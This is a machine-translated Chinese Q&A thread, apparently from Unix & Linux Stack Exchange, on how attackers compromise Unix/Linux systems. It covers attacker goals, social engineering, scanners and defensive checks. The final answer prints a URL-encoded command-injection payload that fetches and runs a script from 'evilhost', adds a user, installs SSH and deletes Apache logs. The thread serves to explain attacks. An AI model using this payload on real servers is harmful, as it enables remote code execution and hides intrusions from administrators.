人们究竟如何“破解” Unix / Linux系统?


13

不是我不希望成为一个饼干或类似的东西,而是我试图弄清楚这个过程(更多是从编程的角度来看)。

因此,我假设(猜测)破解者的主要目标是获得安装他所编写的任何软件(或脚本)的root用户权限?还是安装自己的内核模块(无论出于何种原因,这都是曲折的)一个人究竟该怎么做呢?

我知道人们使用脚本来检查漏洞.........但是我不知道怎么做,一旦找到它们,我也不会确切地看到他们如何处理它们?他们是在检查版本中是否存在已知漏洞吗……然后找到它们……。

我知道这听起来很新奇。但是我只是想知道它是如何工作的,因为我知道Linux / Unix系统应该是非常安全的,但是我试图弄清楚某人甚至将如何进行(获得根访问权限的过程)。

Answers:


14

有许多原因可能会导致系统安全性受到威胁。概括地说:

  • 使用系统资源(例如,发送垃圾邮件,中继流量)
  • 获取系统上的信息(例如,从电子商务站点获取客户数据)。
  • 更改系统上的信息(例如,破坏网站,植入虚假信息,删除信息)

这些事情仅有时需要root用户访问权限。例如,在未正确清理用户输入的网站上输入格式错误的搜索查询可能会泄露该网站数据库中的信息,例如用户名/密码,电子邮件地址等。

许多计算机罪犯只是“脚本小子”。也就是说,实际上并不了解系统安全性,甚至可能没有代码,但运行他人编写的漏洞的人。这些通常很容易防御,因为它们没有适应能力。它们仅限于利用已知漏洞。(尽管它们可能利用僵尸网络-大量受感染的计算机-这可能意味着DDoS攻击的危险。)

对于熟练的攻击者,此过程如下所示:

  1. 弄清楚目标是什么,目标是什么。安全-维护或破坏安全-是风险/回报的计算。风险更高,成本更高,因此必须从攻击中获得更大的回报。

  2. 考虑所有影响目标的活动部分-例如,如果您要发送垃圾邮件,则可以攻击邮件服务器,但是采用另一种面向网络的服务可能更有意义,因为您所要做的一切需要使用目标的网络连接。如果需要用户数据,您将开始查看数据库服务器,能够访问它的webapp和web服务器,备份它的系统等。

    永远不要忽视人为因素。保护计算机系统远比保护人类行为容易。让某人透露他们不应该公开的信息,或者运行他们不应该公开的代码,既简单又有效。在大学里,我赢得了一个朋友的赌注,其中包括穿上显眼的衣服并碰上好色的副总统,从而打入了超级安全的公司网络-我朋友的技术专长远远超过了我,但没有什么比17岁的人更强大了一起穿着短裙!

    如果您没有胸部,可以考虑提供一款毫无意义的游戏,或者傻瓜会下载一些有趣的东西,而不必考虑它的实际作用。

  3. 查看已确定的每个部分,并考虑它可以做什么,以及如何调整以完成所需的工作-也许帮助台会在没有正确识别呼叫者的情况下频繁为用户重置密码,并且听起来很困惑获取别人的密码。也许在将应用程序粘贴到运行的功能中之前,webapp不会检查其内容以确保其不是代码。安全妥协通常始于故意暴露的某些东西,这些东西可以以不应该的方式表现出来。


3
看完书后,我仍然对一个好色的副总裁可以在随意对话中提供哪些信息以赢得您的赌注感到好奇。
贾斯汀·水芹

1
@justin:我说我去那儿见的是$ friend re:一个学校项目,但他不在办公室。我让副总裁给我看一下有关计算机系统的一些琐碎的事情,他盯着我看了我太分心了,以至于我没注意到我观察到他输入了他的密码。他可以合法地使用我应该赢得下注的驱动器。
HedgeMage 2011年

1
我完全同意,社会工程学比堆溢出要容易得多。您会真的很喜欢这个archive.cert.uni-stuttgart.de/isn/2006/01/msg00055.html
Rohan Monga

“如果您没有胸部,可以考虑提供毫无意义的游戏或其他东西。”认真吗?您将它们放在同一个功效类别中吗?:)
Roopesh Shenoy

2
“考虑提供一款毫无意义的游戏,或者让白痴下载一些有趣的东西……”-啊,这就是Farmville和Evony的想法。
Shadur 2011年

4

最大的因素是攻击者拥有的访问类型。如果他们有实际的出入通道,那么您就很麻烦。如果您只关心远程访问,则取决于您正在运行什么。好的配置就是一切。标准的Linux服务器可能正在运行ftp,ssh,http,https和mysql。SSH是安全的,但是我不允许root登录,并且必须在每个帐户上都输入正确的密码。FTP命中或未命中。如果您拥有VSFTP并chroot您的用户,那么它是非常安全的。其他几个版本也有已知漏洞。HTTP可能会成为您最脆弱的区域。您最关心的是在系统上执行文件或将文件上传到系统的任何事情。如果您的网站是用PHP5完成的,那么SQL注入将非常困难。一群安全学生和我本人在未经消毒的PHP5网站上尝试SQL注入了数周,但均未成功。使用MySQL时,请确保使用非root用户并将其限制为仅从Apache服务器登录。

有几个Firefox插件可以测试网站漏洞:访问我,xss我和sql注入我

为了确保安全性,我会经常在比赛中做一些重要的事情:

  • netstat -检查打开的端口和连接,
  • w -谁登录了多长时间,
  • 检查日志中的登录信息,
  • 执行命令的bash历史记录,
  • ps -运行命令,
  • /etc/passwd 对于额外的用户
  • /etc/sudoers 用于sudo访问。

通常,获得访问权限后,攻击者便希望获得根。当前存在一些特权升级漏洞,这些漏洞将允许普通用户获得root。之后,他们想通过添加用户并打开后门来将其打开以供以后访问。

这是我学校的网络防御网站。随意四处看看并提出一些问题:https : //thislink.doesntexist.org/


2

系统的安全性取决于管理员的技能,因此说“ Linux / Unix系统应该非常安全”是不对的:)

现在开始进行黑客攻击……有一种名为Nessus的称为“ 漏洞扫描程序 ” 的工具,可以寻找被利用的东西。在复杂的系统中,可能有成千上万的错误,例如配置错误的Apache服务器无法将任意文件上传到任意位置。这些可以作为进一步利用的垫脚石,例如获得对数据库的访问权限,或者可以通过“忘记密码”功能从中恢复密码的电子邮件帐户。

有时,黑客是要获得访问权限并做一些邪恶的事情。有时人们是为了娱乐而做的(顺便说一句,这很愚蠢)。

而且,这是一个最近发生的著名黑客事件的故事。我认为这对于任何关注安全性的人都是说明性的!引用漏洞摘要:

具有SQL注入漏洞和不安全密码的Web应用程序。选择错误的密码。重用的密码。允许基于密码的身份验证的服务器。未打补丁的系统。而且,即使在被要求提供证书的人已经意识到问题出炉的情况下,他们也非常愿意通过电子邮件发送证书。


1

攻击向量是如此之多以至于接近无限。从概念上讲,最简单的方法之一就是使程序公开可用,并说它做的事情与实际情况不同。从一sudo开始就给用户友好的说明,并观察世界的繁荣发展。这种情况每天都会在封闭源代码程序中发生,因为像索尼CD这样的单身人士无法事先检查其工作情况。

您也可以尝试将特殊字符串发送到远程主机。举一个高级示例,假设您有一个运行着某些软件的Web服务器,并且该软件作为命令运行URL的一部分,而没有转义或确保它不会造成任何危害。发送类似http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh。解码后,搜索字符串变为。如果运行,script.sh将以与Web服务器用户相同的访问权限运行,以在计算机上执行任何操作。有时人们让这些作为“便利”的根源,在这种情况下,这是懒惰和/或无知的代名词。即使它不是以root身份运行,该脚本也可以针对已安装软件中的其他漏洞运行数千个测试,如果找到一个,则运行另一个命令。最后一个命令例如可以是foo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.log,以获取SSH访问权限并删除该入侵的痕迹。

[命令显然已简化,可能仍然无法正常工作。YMMV]

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.